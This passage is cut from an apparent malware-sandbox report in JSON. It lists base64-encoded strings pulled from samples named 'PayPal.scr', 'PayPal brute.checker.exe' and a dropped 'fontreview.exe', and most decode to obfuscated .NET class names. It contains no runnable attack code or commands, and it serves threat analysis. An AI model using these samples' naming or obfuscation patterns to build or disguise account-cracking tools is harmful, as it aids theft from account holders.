File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X19TdGF0aWNBcnJheUluaXRUeXBlU2l6ZT0xMTI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X19TdGF0aWNBcnJheUluaXRUeXBlU2l6ZT0xMg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X19TdGF0aWNBcnJheUluaXRUeXBlU2l6ZT0xMjg=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X19TdGF0aWNBcnJheUluaXRUeXBlU2l6ZT0xNg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X19TdGF0aWNBcnJheUluaXRUeXBlU2l6ZT0xOA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X19TdGF0aWNBcnJheUluaXRUeXBlU2l6ZT0yMA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X19TdGF0aWNBcnJheUluaXRUeXBlU2l6ZT0yNA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X19TdGF0aWNBcnJheUluaXRUeXBlU2l6ZT0yNTY=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X19TdGF0aWNBcnJheUluaXRUeXBlU2l6ZT0yOA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X19TdGF0aWNBcnJheUluaXRUeXBlU2l6ZT0z","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X19TdGF0aWNBcnJheUluaXRUeXBlU2l6ZT0zMA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X19TdGF0aWNBcnJheUluaXRUeXBlU2l6ZT0zMg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X19TdGF0aWNBcnJheUluaXRUeXBlU2l6ZT0zNg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X19TdGF0aWNBcnJheUluaXRUeXBlU2l6ZT0zNjA=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X19TdGF0aWNBcnJheUluaXRUeXBlU2l6ZT00MA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X19TdGF0aWNBcnJheUluaXRUeXBlU2l6ZT00NA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X19TdGF0aWNBcnJheUluaXRUeXBlU2l6ZT00OA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X19TdGF0aWNBcnJheUluaXRUeXBlU2l6ZT01MTI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X19TdGF0aWNBcnJheUluaXRUeXBlU2l6ZT01Mg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X19TdGF0aWNBcnJheUluaXRUeXBlU2l6ZT02","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X19TdGF0aWNBcnJheUluaXRUeXBlU2l6ZT02NA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X19TdGF0aWNBcnJheUluaXRUeXBlU2l6ZT03Ng==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X19zdGRjYWxs","type":"Ansi","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001B0000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"X190aGlzY2FsbA==","type":"Ansi","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001B0000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"X190bXBfcmFyX3NmeF9hY2Nlc3NfY2hlY2tfJXU=","type":"Unicode","source":"Hybrid Analysis","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.00181000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"X191bmFsaWduZWQ=","type":"Ansi","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001B0000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"X192ZWN0b3JjYWxs","type":"Ansi","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001B0000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"X193Z2V0bWFpbmFyZ3M=","type":"Ansi","source":"Memory/File Scan","process":"powershell.exe","filename":"00099826-00003808.00000000.100336.21D11000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"X0FjY291bnRGaWx0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0FjY291bnRJdGVyYXRvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0FjY291bnRQcm9wZXJ0eQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0FjY291bnRSZXBvc2l0b3J5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0FjY291bnRTdHVi","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0FjY291bnRUZXN0","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0FkYXB0ZXJBbGdv","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0FkYXB0ZXJFcnJvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0FkYXB0ZXJGaWx0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0FkYXB0ZXJNZXJjaGFudA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0FkYXB0ZXJQb2xpY3k=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0FkYXB0ZXJQcm9wZXJ0eQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0FkYXB0ZXJSZXBvbnNl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0FkYXB0ZXJSZXBvc2l0b3J5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0FkYXB0ZXJTZXJ2aWNl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0FkYXB0ZXJUYWc=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0FkYXB0ZXJUZXN0","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0FkYXB0ZXJXb3JrZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Fkdmlzb3JBZGFwdGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Fkdmlzb3JEZWZpbml0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Fkdmlzb3JGaWx0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Fkdmlzb3JJc3N1ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Fkdmlzb3JQb2xpY3k=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Fkdmlzb3JUaHJlYWQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Fkdmlzb3JUb2tlbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0FsZ29BZGFwdGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0FsZ29FcnJvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0FsZ29NZXJjaGFudA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0FsZ29Qcm9wZXJ0eQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0FsZ29UZXN0","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0FsZ29Ub2tlbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X2Ftc2dfZXhpdA==","type":"Ansi","source":"Memory/File Scan","process":"powershell.exe","filename":"00099826-00003808.00000000.100336.21D11000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"X0Fubm90YXRpb25BZGFwdGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Fubm90YXRpb25BbGdv","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Fubm90YXRpb25CYXNl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Fubm90YXRpb25FcnJvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Fubm90YXRpb25GYWNhZGU=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Fubm90YXRpb25HbG9iYWw=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Fubm90YXRpb25Jc3N1ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Fubm90YXRpb25SZXBvc2l0b3J5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Fubm90YXRpb25UaHJlYWQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Fubm90YXRpb25Xb3JrZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0F0dHJBbGdv","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0F0dHJDbGllbnQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0F0dHJDb25maWc=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0F0dHJFcnJvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0F0dHJpYnV0ZUFkYXB0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0F0dHJpYnV0ZUFsZ28=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0F0dHJpYnV0ZUNsaWVudA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0F0dHJpYnV0ZURlZmluaXRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0F0dHJpYnV0ZUZhY2FkZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0F0dHJpYnV0ZUdsb2JhbA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0F0dHJpYnV0ZUlzc3Vlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0F0dHJpYnV0ZVBhcmFtZXRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0F0dHJpYnV0ZVJlcG9uc2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0F0dHJpYnV0ZVJlcG9zaXRvcnk=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0F0dHJpYnV0ZVNlcnZpY2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0F0dHJpYnV0ZVNwZWNpZmljYXRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0F0dHJpYnV0ZVN0dWI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0F0dHJpYnV0ZVRlc3Q=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0F0dHJpYnV0ZVdvcmtlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0F0dHJNYXBwaW5n","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0F0dHJQYXJhbWV0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0F0dHJSZXBvc2l0b3J5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0F0dHJTZXJ2aWNl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0F1dGhlbnRpY2F0aW9uRmFjYWRl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0F1dGhlbnRpY2F0aW9uR2xvYmFs","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0F1dGhlbnRpY2F0aW9uTWFwcGluZw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0F1dGhlbnRpY2F0aW9uTWVyY2hhbnQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0F1dGhlbnRpY2F0aW9uUGFnZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0F1dGhlbnRpY2F0aW9uU2VydmljZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Jhc2VCYXNl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Jhc2VGaWx0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Jhc2VJc3N1ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Jhc2VNZXJjaGFudA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Jhc2VQb2xpY3k=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Jhc2VTcGVjaWZpY2F0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Jhc2VUaHJlYWQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Jhc2VUb2tlbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0JyaWRnZUJhc2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0JyaWRnZURlZmluaXRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0JyaWRnZUVycm9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0JyaWRnZUlzc3Vlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0JyaWRnZU1hcA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0JyaWRnZU1lcmNoYW50","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0JyaWRnZVBhZ2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0JyaWRnZVNjaGVtYQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0JyaWRnZVN0dWI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0JyaWRnZVRhZw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0JyaWRnZVRlc3Q=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Jyb2FkY2FzdGVyQWRhcHRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Jyb2FkY2FzdGVyRXJyb3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Jyb2FkY2FzdGVyTWVyY2hhbnQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Jyb2FkY2FzdGVyUGFnZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Jyb2FkY2FzdGVyUmVxdWVzdA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0Jyb2FkY2FzdGVyV29ya2Vy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NhbGxiYWNrQWRhcHRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NhbGxiYWNrQmFzZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NhbGxiYWNrRmlsdGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NhbGxiYWNrTWFw","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NhbGxiYWNrUGFnZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NhbGxiYWNrUG9saWN5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NhbGxiYWNrUHJvcGVydHk=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NhbGxiYWNrU2VydmljZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NhbGxiYWNrU3BlY2lmaWNhdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NhbGxiYWNrU3R1Yg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NhbGxiYWNrVGVzdA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NhbGxiYWNrVGhyZWFk","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NhbGxiYWNrVG9rZW4=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NhbGxiYWNrV29ya2Vy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NhbmRpZGF0ZUFkYXB0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NhbmRpZGF0ZUlzc3Vlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NhbmRpZGF0ZUl0ZXJhdG9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NhbmRpZGF0ZVBhcmFtZXRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NhbmRpZGF0ZVBvbGljeQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NhbmRpZGF0ZVByb3BlcnR5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NhbmRpZGF0ZVNjaGVtYQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NhbmRpZGF0ZVRlc3Q=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X2NEeks5O0dL","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"X0NsYXNzQ2xpZW50","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NMQVNTRVNfUk9PVA==","type":"Unicode","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"X0NsYXNzR2xvYmFs","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NsYXNzSXNzdWVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NsYXNzSXRlcmF0b3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NsYXNzUmVxdWVzdA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NsYXNzU2NoZW1h","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NsYXNzU2VydmljZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NsYXNzVGhyZWFk","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NsYXNzV29ya2Vy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NsaWVudEFsZ28=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NsaWVudEZpbHRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NsaWVudEl0ZXJhdG9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NsaWVudE1lcmNoYW50","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NsaWVudFByb3BlcnR5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NsaWVudFJlcXVlc3Q=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NsaWVudFNlcnZpY2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvZGVCYXNl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvZGVDbGllbnQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvZGVGaWx0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvZGVNYXA=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvZGVSZXF1ZXN0","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"X0NvZGVTY2hlbWE=","type":"Ansi","source":"Dropped 